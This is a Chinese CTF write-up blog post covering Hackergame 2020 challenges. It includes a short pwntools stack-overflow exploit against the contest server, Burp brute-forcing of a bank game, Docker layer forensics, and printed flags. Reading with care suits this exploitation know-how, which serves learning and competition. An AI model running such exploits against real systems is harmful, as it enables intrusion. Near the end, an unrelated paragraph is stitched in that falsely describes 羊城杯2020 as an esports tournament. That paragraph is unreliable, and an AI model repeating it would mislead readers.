Hackergame 2020部分题目WP

Writeup

第一篇博客,写的不好请见谅~
作为一个刚接触CTF2个多月的大一萌新,感觉Hackergame的题目还是相当友好和好玩的,不像之前打的西湖论剑和N1CTF,除了签到,问卷啥也不会(>_<),真的直接打自闭~
尽管这周打的很艰难,毕竟学生党要上课…但最后的成绩自己还是比较满意的:
1.抢到了一道一血:一闪而过的flag
2.总分:1950 总排名:147(比赛刚开始 占据了第一名5分钟,巅峰时打到第87名,然后就开始往下掉了QAQ~)

由于部分flag为动态flag,仅供参考

题目网站:https://hack.lug.ustc.edu.cn/

签到

11:55准时坐在电脑前准备抢flag,11:59:55秒刷新一下,然后开始抢签到(嗯,萌新就是这样抢一血的)
进去条随便拖了两下点提交,发现url后多了?number=0.08459,然后脑子一抽,改成了1.0,痛失一血,呜呜
改成1得到flag:flag{hR6Ku81-HappyHacking2020-b13786f61b}

猫咪问答++

q1的话,google图片全部搜一遍,然后一不小心搜成13个…(答案12个)
q2的话,直接百度发现RFC1149协议,再查看这个协议得到答案:256
q3的话,去翻协会新闻推文,发现介绍的开源游戏名为Teeworlds,所以答案为9
q4的话,百度地图搜索中国科学技术大学西校区图书馆,街景数车位得知答案为9
q5的话,之前翻看Hackgame比赛首页底下相关链接里的第六届新闻稿里见过提交次数,所以打开看了眼,得到答案为17098
最后把不确定的q1上下调整一下,得到flag:flag{b4a31f2a_G00G1e_1s_y0ur_fr13nd_a3bf4c8dc9}

2048

F12查看js代码,发现大成功后执行如下代码:

  var url;
  if (won) {
    url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
  } else {
    url = "/getflxg?my_favorite_fruit=";
  }

从baaa可猜测出题人最喜欢的水果是banana(嗯?)
然后直接在url后加上/getflxg?my_favorite_fruit=banana得到flxg:flxg{8G6so5g-FLXG-9a0c684641}

一闪而过的 Flag

做完签到,没抢到一血,极其郁闷,扫了眼题目列表。一闪而过的 Flag难道是扔到命令行里防闪退??好,就你了。
然后如预期一般,得到flag:flag{Are_you_eyes1ght_g00D?_can_you_dIst1nguish_1iI?}
提交一看,一血!!!靠着第一个拿到150分,居然占据了第一名5分钟,嘻嘻。

从零开始的记账工具人

这题用了一种很草的解法。
百度全是数字转中文金额,好不容易发现方方格子Excel插件中有函数可以将中文金额转为数字
然后最坑的地方出现了,这函数有bug!!!像拾肆元之类的,”拾“开头的统统转换错误
大一萌新不会复杂脚本呀,那就在这基础上凑合着弄个修bug的脚本吧
百度现场学python处理Excel的库,经过无数次调试,终于成功了!
脚本如下,大佬轻喷,写的真的烂

# coding=gbk
import xlrd
import xlwt
workbook=xlrd.open_workbook('bills.xlsx')
Excel = xlwt.Workbook()
sheet = Excel.add_sheet('B')
sheet1=workbook.sheet_by_name('Sheet1')
ncols=sheet1.nrows
for i in range(1,ncols):
    if ((sheet1.cell(i,0).value)[0:1]) == '拾':
        if (sheet1.cell(i,0).value)[0:2] == '拾元':
            sum ='10.'
            for j in (sheet1.cell(i,0).value)[2::]:
                if j == '零':
                    sum = sum + '0'
                elif j == '壹':
                    sum = sum + '1'
                elif j == '贰':
                    sum = sum + '2'
                elif j == '叁':
                    sum = sum + '3'
                elif j == '肆':
                    sum = sum + '4'
                elif j == '伍':
                    sum = sum + '5'
                elif j == '陆':
                    sum = sum + '6'
                elif j == '柒':
                    sum = sum + '7'
                elif j == '捌':
                    sum = sum + '8'
                elif j == '玖':
                    sum = sum + '9'
        else:
            sum ='1'
            for j in (sheet1.cell(i,0).value)[1::]:
                if j == '零':
                    sum = sum + '0'
                elif j == '壹':
                    sum = sum + '1'
                elif j == '贰':
                    sum = sum + '2'
                elif j == '叁':
                    sum = sum + '3'
                elif j == '肆':
                    sum = sum + '4'
                elif j == '伍':
                    sum = sum + '5'
                elif j == '陆':
                    sum = sum + '6'
                elif j == '柒':
                    sum = sum + '7'
                elif j == '捌':
                    sum = sum + '8'
                elif j == '玖':
                    sum = sum + '9'
                elif j == '元':
                    sum =sum + '.'
        sheet.write(i,0,float(sum))
    else:
        sheet.write(i,0,sheet1.cell(i,2).value)
Excel.save('Excel.xls')

下面是经或或爷点拨修改后的版本:把python的字典忘了,我是憨憨

# coding=gbk
import xlrd
import xlwt
workbook=xlrd.open_workbook('bills.xlsx')
Excel = xlwt.Workbook()
sheet = Excel.add_sheet('B')
sheet1=workbook.sheet_by_name('Sheet1')
d = {'零':'0','壹':'1','贰':'2','叁':'3','肆':'4','伍':'5','陆':'6','柒':'7','捌':'8','玖':'9','元':'.','角':'','分':''}
ncols=sheet1.nrows
for i in range(1,ncols):
    if ((sheet1.cell(i,0).value)[0:1]) == '拾':
        if (sheet1.cell(i,0).value)[0:2] == '拾元':
            sum ='10.'
            for j in (sheet1.cell(i,0).value)[2::]:
                sum += d[j]
        else:
            sum ='1'
            for j in (sheet1.cell(i,0).value)[1::]:
                sum += d[j]
        sheet.write(i,0,float(sum))
    else:
        sheet.write(i,0,sheet1.cell(i,2).value)
Excel.save('Excel.xls')

把数量复制到Excel.xls中,简单的相乘求和得到flag:flag{18434.82}

超简单的世界模拟器

蝴蝶效应

百度可知生命游戏,lifewiki上找到太空船模型解决,得到flag:flag{D0_Y0U_l1k3_g4me_0f_l1fe?_a8e066dfae}

一石二鸟

3艘太空船乱凑,凑出第二问flag:flag{1s_th3_e55ence_0f_0ur_un1ver5e_ju5t_c0mputat1on?_5dd028665b}
具体怎么输入就不挂了,看官方WP吧~

自复读的复读机

反向复读

百度得知输出代码本身的代码有一个专有名称quine。之后找到一个题库网站,有各种quine,随便找一个修改一下
因为要逆向输出代码本身,于是加上[::-1],然后发现末尾多了\n,所以再加上end="",代码如下:

s = 's = {};print(s.format(repr(s))[::-1],end="")';print(s.format(repr(s))[::-1],end="")

得到flag:flag{Yes!_Y0U_h4v3_a_r3v3rs3d_Qu1ne_e604f5f9a5}

哈希复读

因为要输出代码本身的sha256哈希值,导入hashlib库,调用sha256函数,构造代码如下:

s = 's = {};import hashlib;print((hashlib.sha256((s.format(repr(s))).encode()).hexdigest()),end="")';import hashlib;print((hashlib.sha256((s.format(repr(s))).encode()).hexdigest()),end="")

得到flag:flag{W0W_Y0Ur_c0de_0utputs_1ts_0wn_sha256_893e58accc}

233 同学的字符串工具

字符串大写工具

有个网站(要挂梯子)上有各种unicode碰撞,找到一个连字,反正输进去解出来就是FL,俺也不知道为啥~,后面加上ag即可。
输入得到flag:flag{badunic0debadbad_6173b2b915}

编码转换工具

对同一个字符串,经过utf-7编码后有多种形式。
百度发现一个utf-7编码解码软件,输入flag后编码得到**+AGYAbABhAGc-**
输入得到flag:flag{please_visit_www.utf8everywhere.org_799d706f62}

233 同学的 Docker

换源安装好docker,然后我为了防止docker下载镜像太慢,弄了个阿里云docker镜像加速
然后打开题目网址,复制指令docker pull 8b8d3c8324c7/stringtool,下载镜像
用指令docker history (加上pull后得到的image ID)查看历史构建信息
发现flag.txt在倒数第二层被删除,所以只要回到倒数第三层,即可得到flag.txt
输入
docker inspect (加上pull后得到的image ID)
,data里找到倒数第三层(WorkDir为倒数第一层,UpperDir为倒数第二层,LowerDir里第一个为倒数第三层,后面依次推)
然后用指令tree /var/lib/docker/overlay2/16befb58ffd365c567f04e8c6e85e1598855c8da8dc733a2b84de6dfe6fb0ae5/diff,列出目录下所有文件
发现flag.txt在code目录下,cat得到flag:flag{Docker_Layers!=PS_Layers_hhh}

来自一教的图片

根据题目提示傅里叶,百度找到python傅里叶变换脚本如下:

import numpy as np
import cv2 as cv
from matplotlib import pyplot as plt
img = cv.imread('1.bmp', 0)
f = np.fft.fft2(img)
logf = 20*np.log(np.abs(f))
plt.imshow(logf, 'gray')
plt.show()

运行得到flag:flag{Fxurier_xptics_is_fun}

生活在博弈树上

始终热爱大地

嗯,浙江的大一新生看到这题目,立马想到了那篇高考满分作文《生活在树上》
由于刚开始以为这题是General,然后代码看了半天,还去查了算法,只明白了一件事,正常下是不可能赢的…
然后发现存在gets,可以栈溢出,而判断胜利的条件为success=True,所以直接栈溢出覆盖success的值为1
正当我想吐槽general考察pwn时,回去一看发现他其实是binary分区,可恶呢
编写exp如下:

from pwn import *
p=remote("202.38.93.111",10141)
token='611:MEQCIBgsOHGKWe37yMSb/9ciPbOzYahxQWPaPGOZo3/KXSoVAiAYQEnr2h2cg9aISewpj8NlguUQ7lUrPFna4KDGL2fyOQ=='
p.recv()
p.sendline(token)
p.recv()
payload='(1,1)'+b'A'*143+p64(1)
p.sendline(payload)
p.interactive()

然后正常下棋,使平局,不然check函数会将success赋值为false,结束后得到flag:flag{easy_gamE_but_can_u_get_my_shel1}

升上天空

呜呜,pwn太难了,做不来QAQ,看官方WP吧

狗狗银行

这题想了好久没思路,然后翻了翻前两年的WP,试了试猫猫银行的溢出,用信用卡给储蓄卡转大额资金
发现净资产变多了!!然后抓包改数据,净资产直接突破2000,但是并没有flag
本以为是没有把钱还清造成的,然后还完发现净资产又回到了1000,再加上服务器疯狂崩溃,就卡住了
第二题官方更新了公告,被告知转大额资金导致的净资产增加是前端浮点型计算导致的,后端采用大整数精确计算
突然眼前一亮,既然是大整数,那就试试四舍五入,发现储蓄卡中有167元时利息为1元
略加计算可知,2张信用卡每张给储蓄卡转2009元,再将这4008元分配给24张储蓄卡,可以得到24元的利息,4018-4008剩下的钱正好吃饭,信用卡利息减10元,则可以白嫖到14元。
所以采用bp抓包爆破大量办卡,通过更改payload继续爆破进行办卡转钱操作,然后恰几天饭收利息即可到达2000元,得到flag:flag{W0W.So.R1ch.Much.Smart.52f2d579}

哎,肝了7天就做出来这么点题,还是太菜了,慢慢学吧~

官方WP传送门

羊城杯2020是一场年度的电子竞技赛事,为广大电竞爱好者提供了一个展示技术和激发激情的舞台。今年的羊城杯聚集了来自全国各地的顶尖电竞选手,他们在各个游戏项目中展现了高水平的操作和战术。 在比赛的文化氛围方面,羊城杯2020鼓励团队协作和竞争精神,这对于参赛选手来说是一个很好的机会展现自己的技术能力和团队合作能力。此外,组委会还积极倡导公平竞赛,严禁使用任何形式的作弊或不正当手段来获取胜利,从而保证了比赛的公正性。 羊城杯2020不仅是一场竞技比赛,还提供了丰厚的奖金和荣誉,吸引了众多顶尖选手参与其中。参赛选手们通过紧张刺激的比赛,展现了他们的技术实力和战术策略。同时,比赛也为电竞爱好者们提供了一个观赏比赛和学习经验的机会,让他们更好地了解电竞运动,提高自己的技术水平。 此外,羊城杯2020还注重了普及电竞文化的意义。比赛在各个媒体平台上进行直播,使更多的观众能够通过网络或电视观看比赛,增加了电竞的曝光度。通过各种推广活动,羊城杯2020吸引了更多非电竞爱好者的关注,提高了电竞在社会中的认可度和影响力。 总的来说,羊城杯2020是一场令人期待的电竞盛事,它不仅展示了顶尖选手们的实力和技巧,也推广了电竞文化并吸引了更多人的关注。这样的比赛将继续推动电竞行业的发展和壮大,为电竞爱好者们带来更多的精彩赛事和娱乐体验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值